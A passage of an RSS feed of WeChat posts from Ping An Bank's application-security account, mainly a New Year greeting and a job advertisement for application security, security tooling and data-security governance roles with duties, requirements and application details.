

<p><a href="2247484911">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e76acc81&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247484911%26idx%3D1%26sn%3D2d8d4db958812e4e8596f4dff379e340%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 17 Jan 2023 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>新年快乐！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484908&amp;idx=1&amp;sn=9072cfe8c9b6393dbd68882f4b948baf</link>
      <description>新年快乐！</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-01-01 13:43</span> <span style="display: inline-block;">上海</span>
</p>

<p>新年快乐！</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f8a23672&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z555prS2NQc7Atrbs9mEkzMrDdFMJMzKViammo1R0rzXujsf0I5ox0ZSROXORrBgib33Aqb4TY266xA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><!---->    <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>


<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/6PBwKvwj1Z555prS2NQc7Atrbs9mEkzMU34Vqgea7s6eLTiaseZT7rfmUypgGutUz6RAYzpFlMRBJPYSiaJsQK9A/0?wx_fmt=jpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1bec58a8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247484908%26idx%3D1%26sn%3D9072cfe8c9b6393dbd68882f4b948baf%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 01 Jan 2023 13:43:00 +0800</pubDate>
    </item>
    <item>
      <title>安全招聘｜平安银行人才招募令！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484727&amp;idx=1&amp;sn=2a0bc1c26b5608593dc67422267f7774</link>
      <description>这是一个牛人辈出且有爱的团队，有着一个够大且发展快速的平台，同时还可以提供一份不错的薪水！期待热爱安全，同时在安全领域有一技之长的你！</description>
      <content:encoded><![CDATA[<p>
原创 <span>平安银行应用安全</span> <span>2021-06-16 18:32</span> <span style="display: inline-block;"></span>
</p>

<p>这是一个牛人辈出且有爱的团队，有着一个够大且发展快速的平台，同时还可以提供一份不错的薪水！期待热爱安全，同时在安全领域有一技之长的你！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d63beaa8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0uZ8oEibial3lN5p3LFCZ3jaFiaxKngUrqraWu4yGv0P6IRzaNaSECBzzw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com"><section data-role="paragraph" data-color="#ff8124"><section data-role="outer" label="Powered by 135editor.com" style="box-sizing: border-box;"><section data-role="paragraph" data-color="#ff8124" style="box-sizing: border-box;"><section data-role="outer" label="Powered by 135editor.com" style="box-sizing: border-box;"><section data-role="paragraph" data-color="#ff8124" style="box-sizing: border-box;"><section data-role="outer" label="Powered by 135editor.com" style="box-sizing: border-box;"><section data-tools="135编辑器" data-id="101594" data-color="#ff8124"><section style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><section style="display: flex;align-items: center;justify-content: center;"><section style="box-sizing:border-box;display: inline-block;width: 90px;height: 1px;background: none rgb(245, 145, 71);color: rgb(255, 255, 255);overflow: hidden;"><br/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(255, 129, 36);letter-spacing: 1.5px;line-height: 1.75em;padding-right: 1em;padding-left: 1em;box-sizing: border-box;" hm_fix="337:436"><strong>公司介绍</strong></section><section style="box-sizing:border-box;display: inline-block;width: 90px;height: 1px;background: none rgb(245, 145, 71);color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section><section style="display: flex;flex-direction: column;align-items: center;margin-top: -5px;"><section data-brushtype="text" style="font-size: 12px;letter-spacing: 1.5px;color: #ff8124;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-ms-transform: scale(1);-o-transform: scale(1);">Company profile</section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;line-height: 1em;color: rgb(255, 129, 36);align-self: flex-end;margin-top: -0.9em;margin-right: 3em;text-transform: uppercase;"><span style="color: #fdeada;">          PINGAN</span></section></section></section></section><section data-tools="135编辑器" data-id="94788" data-color="#ff8124" data-width="99%" style="box-sizing: border-box;margin-right: auto;margin-left: auto;width: 99%;flex: 0 0 99%;"><p><span style="font-size: 14px;caret-color: red;font-family: Helvetica, Arial, sans-serif;">中国平安《财富》世界五百强排名21位，《福布斯》全球上市公司2000强第7位，蝉联全球多元保险企业首位；Brand Z最具价值中国品牌100强榜单第7位，金融品牌第2位；FutureBrand 全球品牌100强第7位，保险品牌第1位。平安银行股份有限公司是中国平安控股的一家跨区域经营的股份制商业银行（股票名称：平安银行 股票代码：000001）。平安银行以打造“中国最卓越、全球领先的智能化零售银行”为战略目标，持续坚持“科技引领、零售突破、对公做精”十二字策略方针，始终坚持“三不变”，即坚持零售转型方向不变；坚持“综合金融、科技赋能”两大核心优势不变；坚持均衡、协同发展思路不变。着力打造“数字银行、生态银行、平台银行”三张名片。</span><br/></p><p><br/></p></section><p style="text-align:center;"><span style="font-size: 14px;color: rgb(255, 129, 36);"><strong><span data-darkmode-color-16238109509368="rgb(163, 163, 163)" data-darkmode-original-color-16238109509368="#fff|rgb(0, 0, 0)" style="text-indent: 36.6px;">用科技引领金融，金融服务生活</span></strong></span></p><p style="text-align:center;"><span style="text-indent: 36.6px;color: rgb(127, 127, 127);font-size: 12px;caret-color: rgb(255, 0, 0);font-family: -apple-system-font, system-ui, Arial, sans-serif;">（左右滑动查看更多）</span></p><section data-copyright="135编辑器" data-id="95138" data-plugin="template" data-template="%7B%22block_id%22%3A1623820874122%2C%22plugin%22%3A%22Template%22%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22template%22%3A%7B%22id%22%3A95138%2C%22cate_id%22%3A0%2C%22sub_cate_id%22%3A0%2C%22name%22%3A%22%22%7D%7D" style="transform: rotateZ(0deg) scale(1);"><section data-inner-id="95138" data-inner-name="135editor-template"><section data-id="95138"><section data-role="animate" style="margin: 1em auto;white-space: normal;border-width: 0px;border-style: none;border-color: initial;text-align: center;overflow: hidden;box-sizing: border-box;"><section style="box-sizing:border-box;white-space: nowrap;width:100%;overflow-x: scroll;overflow-y: hidden;" data-width="100%" data-svg-role="block"><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="247" data-ratio="0.4273339749759384" style="box-sizing: border-box;display: inline-block;width: 578px;height: 247px;" data-type="png" data-w="2078" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=5752944c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0dwHpQtx6GPO5oxxd3LibtYxO42PwwhLlNLtZJZAZWSt7sw491mFoGFw%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="248" data-ratio="0.42980769230769234" style="box-sizing: border-box;display: inline-block;width: 578px;height: 248px;" data-type="png" data-w="2080" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=cbc2412d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0GmOKUnX5c9HNcLaI5HpiaF66tcDJCjXftLWeYhvdVpuIlZT6eouOKWw%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="248" data-ratio="0.42939481268011526" style="box-sizing: border-box;display: inline-block;width: 578px;height: 248px;" data-type="png" data-w="2082" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=d6a636dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0iamaJiaveibRCfy6fGMfEB0eXsfUBG3qCjeIFkVMWtZ88bNWpo4ALFH9Q%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="248" data-ratio="0.4296724470134875" style="box-sizing: border-box;display: inline-block;width: 578px;height: 248px;" data-type="png" data-w="2076" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=4074b7c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE00epu6VUV2CTIJIRslnAag67wg5Dicd4upQMiaeqbHUT2rVqrrzLGia19A%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="248" data-ratio="0.42870905587668595" style="box-sizing: border-box;display: inline-block;width: 578px;height: 248px;" data-type="png" data-w="2076" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=efcf77b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0eVYBkJbvOiba46SuXDyGNVq952uxp0KDrpQSBeIXQCqZknsQkr7hTpg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section><p style="text-align:center;"><span style="text-indent: 36.6px;color: rgb(127, 127, 127);font-size: 12px;caret-color: rgb(255, 0, 0);font-family: -apple-system-font, system-ui, Arial, sans-serif;"></span></p><section data-tools="135编辑器" data-id="101594" data-color="#ff8124"><section style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><section style="display: flex;align-items: center;justify-content: center;"><section style="box-sizing:border-box;display: inline-block;width: 90px;height: 1px;background: none #f59147;overflow: hidden;color: #ffffff;"><br/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(255, 129, 36);letter-spacing: 1.5px;line-height: 1.75em;padding-right: 1em;padding-left: 1em;box-sizing: border-box;" hm_fix="337:436"><strong>招聘岗位</strong></section><section style="box-sizing:border-box;display: inline-block;width: 90px;height: 1px;background: none #f59147;overflow: hidden;color: #ffffff;"><br/></section></section><section style="display: flex;flex-direction: column;align-items: center;margin-top: -5px;"><section data-brushtype="text" style="font-size: 12px;letter-spacing: 1.5px;color: #ff8124;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-ms-transform: scale(1);-o-transform: scale(1);">Job description </section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;line-height: 1em;color: rgb(255, 129, 36);align-self: flex-end;margin-top: -0.9em;margin-right: 3em;text-transform: uppercase;"><span style="color: #FDEADA;">PINGAN</span></section></section></section></section><section data-tools="135编辑器" data-id="94788"><section style="text-align: right;padding-top: 10px;padding-bottom: 10px;box-sizing: border-box;"><section data-autoskip="1" style="text-align: left;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;margin-bottom: -5px;"><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">高级应用安全工程师</strong><br/></p><p><br/></p><p><span style="font-size: 14px;">工作职责：</span></p><p><span style="font-size: 14px;">1、负责银行应用系统的安全评审、安全功能设计、安全测试和安全事件应急响应等；</span></p><p><span style="font-size: 14px;">2、负责银行应用系统安全开发管理过程的安全审核，提供安全解决方案，参与优化公司SDLC最佳实践；</span></p><p><span style="font-size: 14px;">3、跟进业内创新技术，为银行引入新技术提供安全解决方案；</span></p><p><span style="font-size: 14px;">4、负责银行SDLC相关配套工具IAST，SAST等工具平台的建设与优化。</span></p><p><br/></p><p><span style="font-size: 14px;">任职要求：</span></p><p><span style="font-size: 14px;">1、熟悉常见WEB安全漏洞原理与防范，可提供代码层的漏洞修复方案；</span></p><p><span style="font-size: 14px;">2、了解Java、Python、Go等一种或几种程序语言；</span></p><p><span style="font-size: 14px;">3、了解业界安全攻防动态，追踪最新安全漏洞；</span></p><p><span style="font-size: 14px;">4、具备良好沟通、协调能力、分析和解决问题的能力；</span></p><p><span style="font-size: 14px;">5、计算机，软件工程，网络安全等全日制本科及以上学历；</span></p><p><span style="font-size: 14px;">6、3年以上经验。</span></p></section><section style="box-sizing:border-box;display: inline-block;border-bottom: 4px dotted rgb(251, 240, 218);height: 4px;width: 2em;overflow: hidden;"><br/></section><section style="box-sizing:border-box;width: 0.8em;height: 0.8em;background: rgb(251, 240, 218);border-radius: 3px;float: right;margin-top: 5px;overflow: hidden;"><br/></section></section></section><section data-role="paragraph"><section data-tools="135编辑器" data-id="94788"><section style="text-align: right;padding-top: 10px;padding-bottom: 10px;box-sizing: border-box;"><section data-autoskip="1" style="text-align: left;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;margin-bottom: -5px;"><p data-css="background-color: rgb(0, 88, 156);border-bottom-left-radius: 100%;border-bottom-right-radius: 100%;border-color: rgb(28, 142, 230);color: rgb(255, 255, 238);font-size: 14px;line-height: 2em;margin: 0px;max-width: 100%;min-height: 1.5em;padding: 0px 20px 4px;white-space: pre-wrap" data-darkmode-bgcolor-16238223459193="rgb(255, 129, 36)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)|rgb(255, 129, 36)" data-darkmode-color-16238223459193="rgb(255, 255, 255)" data-darkmode-original-color-16238223459193="#fff|rgb(255, 255, 255)"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">资深安全开发工程师(Python或Java方向)</strong></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><br/></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><span style="font-size: 14px;">工作职责：</span></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><span style="font-size: 14px;">1.负责各类安全工具平台、安全产品的建设研发，包括流量处理、RASP、 DAST、 SAST 等各类安全工具平台的建设研发；</span></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><span style="font-size: 14px;">2.负责建设支撑SDLC流程节点的各类工具平台，落实全行应用安全治理上相关的要求及检查机制的自动化闭环；<br data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"/></span></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><span style="font-size: 14px;">3.推动研发流程及相关基础技术架构的持续优化完善。</span></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><br/></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><span style="font-size: 14px;">任职要求：</span></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><span style="font-size: 14px;">1.扎实的编程基础、精通Java、 Python开发语言， 熟悉JVM、Kafka、 ELK、分布式等核心技术；</span></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><span style="font-size: 14px;">2.熟悉软件开发生命周期(SDLC)，熟悉业内主流的安全机制、安全解决方案、安全体系优先；</span></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><span style="font-size: 14px;">3.有相关的安全工具平台开发经验，包括不限于动态、静态等各类漏洞检测、流量处理、资产采集等经验；</span></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><span style="font-size: 14px;">4.熟练掌握主流开发框架，如Spring、 MyBatis, 熟悉高可用、高性能优化方案；</span></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><span style="font-size: 14px;">5.思路清晰、较好的沟通能力与技术学习能力，有强烈责任心及团队意识；</span></p><p data-darkmode-bgcolor-16238223459193="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16238223459193="#fff|rgb(255, 255, 255)"><span style="font-size: 14px;">6.本科以上、3年以上互联网公司经历优先。</span></p></section><section style="box-sizing:border-box;display: inline-block;border-bottom: 4px dotted rgb(251, 240, 218);height: 4px;width: 2em;overflow: hidden;"><br/></section><section style="box-sizing:border-box;width: 0.8em;height:0.8em;background: #fbf0da;border-radius:3px;float: right;margin-top:5px;"><br/></section></section></section></section><section data-tools="135编辑器" data-id="94788"><section style="text-align: right;padding-top: 10px;padding-bottom: 10px;box-sizing: border-box;"><section data-autoskip="1" style="text-align: left;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;margin-bottom: -5px;"><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> 数据安全治理专家</strong></p><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></strong></p><p><span style="font-size: 14px;">工作职责：</span></p><p><span style="font-size: 14px;">1、发现数据安全生命周期各环节面临的安全风险，并制定相关的风险管控方案；</span></p><p><span style="font-size: 14px;">2、推动数据治理相关方案的工具化、线上化，从而保证银行数据数据互通方面的效率和安全性；</span></p><p><span style="font-size: 14px;">3、结合监管及银行安全合规要求，形成系统化的平台来实现风险控制及监控，包括不限于自动化加密、脱敏引擎，敏感数据识别分级打标引擎的落地及优化；</span></p><p><span style="font-size: 14px;">4、结合现有银行数据输入输出的业务需求，对数据进行安全合规的审计及智能化审批，提升数据交互时的安全管控及效率:</span></p><p><span style="font-size: 14px;">5、在国家标准及行业标准的基础上提升，保障业务的前提下，全面提高银行在数据安全方面的能力。</span></p><p><br/></p><p><span style="font-size: 14px;">任职要求：</span></p><p><span style="font-size: 14px;">1、有数据安全风险治理的专项工作经验(数据脱敏、数据加密、api 治理、数据资产地图、隐私保护) ;</span></p><p><span style="font-size: 14px;">2、熟悉各种常见通用加密算法(AES、RSA、 SHA以及国密等)，以及隐私保护算法(K-匿名、差分隐私、L-多样性)，掌握相关安全通信协议、熟悉签名认证；</span></p><p><span style="font-size: 14px;">3、掌握数据安全和隐私保护方面的安全技术，对国家相关法律法规及行业标准有深入理解；</span></p><p><span style="font-size: 14px;">4、了解大数据业务建模、数据仓库建模、元数据、数据血缘及其实现方法有全局化的数据架构能力相关经验更佳；</span></p><p><span style="font-size: 14px;">5、掌握python/java/go等至少一门编程语言;</span></p><p><span style="font-size: 14px;">6、<span style="font-size: 14px;letter-spacing: 1.5px;text-align: left;">本科及以上，</span>5年以上安全行业工作经验(数据安全、应用安全、信息安全、安全运营)，有金融行业工作背景优先。</span></p></section><section style="box-sizing:border-box;display: inline-block;border-bottom: 4px dotted rgb(251, 240, 218);height: 4px;width: 2em;overflow: hidden;"><br/></section><section style="box-sizing:border-box;width: 0.8em;height:0.8em;background: #fbf0da;border-radius:3px;float: right;margin-top:5px;"><br/></section></section></section><p><br/></p><p style="text-align:center;min-height: 1em;color: rgba(0, 0, 0, 0.8);letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);font-family: 宋体;"><strong style="max-inline-size: 100%;cursor: text;font-size: 14px;letter-spacing: 0.544px;font-family: -apple-system-font, system-ui, Arial, sans-serif;box-sizing: border-box !important;outline: none 0px !important;">简历投至邮箱</strong><span style="font-size: 14px;letter-spacing: 0.544px;font-family: -apple-system-font, system-ui, Arial, sans-serif;">：peiling757@pingan.com.cn</span><span data-darkmode-color-16238109509368="rgb(163, 163, 163)" data-darkmode-original-color-16238109509368="#fff|rgb(0, 0, 0)" style="font-size: 13px;color: rgb(0, 0, 0);font-family: 微软雅黑, sans-serif;"></span></p><p style="text-align:center;clear: none;min-height: 1em;color: rgba(0, 0, 0, 0.8);font-size: 14px;letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, Arial, sans-serif;"><strong>工作地点</strong><span style="letter-spacing: 0.544px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;">：上海浦东旭辉职场/深圳罗湖总行职场</span></p><p style="text-align:center;clear: none;min-height: 1em;color: rgba(0, 0, 0, 0.8);font-size: 14px;letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, Arial, sans-serif;"><span data-darkmode-color-16238109509368="rgb(160, 160, 160)" data-darkmode-original-color-16238109509368="#fff|rgb(160, 160, 160)" style="font-size: 12px;color: rgb(160, 160, 160);">如有疑问，可联系小编咨询</span><span style="color: #A0A0A0;font-size: 12px;letter-spacing: 0.544px;">（微信：Miniseven0）</span></p><p style="text-align:justify;min-height: 1em;color: rgba(0, 0, 0, 0.8);letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);font-family: 宋体;"><br/></p><p style="text-align:justify;min-height: 1em;color: rgba(0, 0, 0, 0.8);letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);font-family: 宋体;"><br/></p><section data-tools="135编辑器" data-id="101594" data-color="#ff8124"><section style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><section style="display: flex;align-items: center;justify-content: center;"><section style="box-sizing:border-box;display: inline-block;width: 90px;height: 1px;background: none #f59147;overflow: hidden;color: #ffffff;"><br/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(255, 129, 36);letter-spacing: 1.5px;line-height: 1.75em;padding-right: 1em;padding-left: 1em;box-sizing: border-box;" hm_fix="337:436"><strong>在平安</strong></section><section style="box-sizing:border-box;display: inline-block;width: 90px;height: 1px;background: none #f59147;overflow: hidden;color: #ffffff;"><br/></section></section><section style="display: flex;flex-direction: column;align-items: center;margin-top: -5px;"><section data-brushtype="text" style="font-size: 12px;letter-spacing: 1.5px;color: #ff8124;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-ms-transform: scale(1);-o-transform: scale(1);"> In the PINGAN  </section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;line-height: 1em;color: rgb(255, 129, 36);align-self: flex-end;margin-top: -0.9em;margin-right: 3em;text-transform: uppercase;"><span style="color: #fdeada;">PINGAN</span></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="101848" data-color="#ff8124"><section style="margin-top: 10px;margin-bottom: 10px;"><section style="display: flex;"><section style="display: flex;align-items: center;letter-spacing: 1.5px;background-color: rgb(255, 129, 36);border-radius: 30px;color: rgb(255, 255, 255);box-sizing: border-box;"><section data-brushtype="text" style="color: rgb(255, 129, 36);line-height: 1.75em;font-size: 16px;padding-right: 5px;padding-left: 15px;box-sizing: border-box;" hm_fix="285:444"><span style="color: #ffffff;">工作在平安</span></section><section style="box-sizing: border-box;width: 25px;padding-right: 6px;padding-bottom: 8px;flex-shrink: 0;"><img data-ratio="0.8285714285714286" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="35" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=eb620170&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FoJZWTpJpiae94jFnGpuXGLGfQ7Hu2T8cnXECselibyYL1W8Qdd10GtMQXc0TZcobjTia4IXnhfueX9ia4qK0c9Fe1w%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section><section data-copyright="135编辑器" data-id="95138" data-plugin="template" data-template="%7B%22block_id%22%3A1623820969114%2C%22plugin%22%3A%22Template%22%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22template%22%3A%7B%22id%22%3A95138%2C%22cate_id%22%3A0%2C%22sub_cate_id%22%3A0%2C%22name%22%3A%22%22%7D%7D" style="transform: rotateZ(0deg) scale(1);"><section data-inner-id="95138" data-inner-name="135editor-template"><section data-id="95138"><section data-role="animate" style="margin: 1em auto;white-space: normal;border-width: 0px;border-style: none;border-color: initial;text-align: center;overflow: hidden;box-sizing: border-box;"><section style="box-sizing:border-box;white-space: nowrap;width:100%;overflow-x: scroll;overflow-y: hidden;" data-width="100%" data-svg-role="block"><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="500" data-ratio="0.8656429942418427" style="box-sizing: border-box;display: inline-block;width: 578px;height: 500px;" data-type="png" data-w="1042" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7e3718fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0n5ictiaUZMabX3tZuQPNRGZlL8xiciat8g51hz6l33WicIuUfuYCwBWeOtg%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="504" data-ratio="0.8721374045801527" style="box-sizing: border-box;display: inline-block;width: 578px;height: 504px;" data-type="png" data-w="1048" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=91479322&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0D0fbhFcZHxvmu9OBOHAibm5iafHPELbWYTD7t2Oc4aFRwtW1atPpbPyg%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="503" data-ratio="0.869980879541109" style="box-sizing: border-box;display: inline-block;width: 578px;height: 503px;" data-type="png" data-w="1046" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=b2f132c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0xncpMicrYlRlA4ibK2C9oQOlVQ5vYVmz898y7SvonAkIy2RialOBZMibzA%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="506" data-ratio="0.8754789272030651" style="box-sizing: border-box;display: inline-block;width: 578px;height: 506px;" data-type="png" data-w="1044" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=edd0f8c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE06VD9iauGziaqQgchCnycArsPY4ZCjbObvUHtorDqqALKLdmJ5eiaJ7s7g%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section><section style="clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.8);letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);box-sizing: 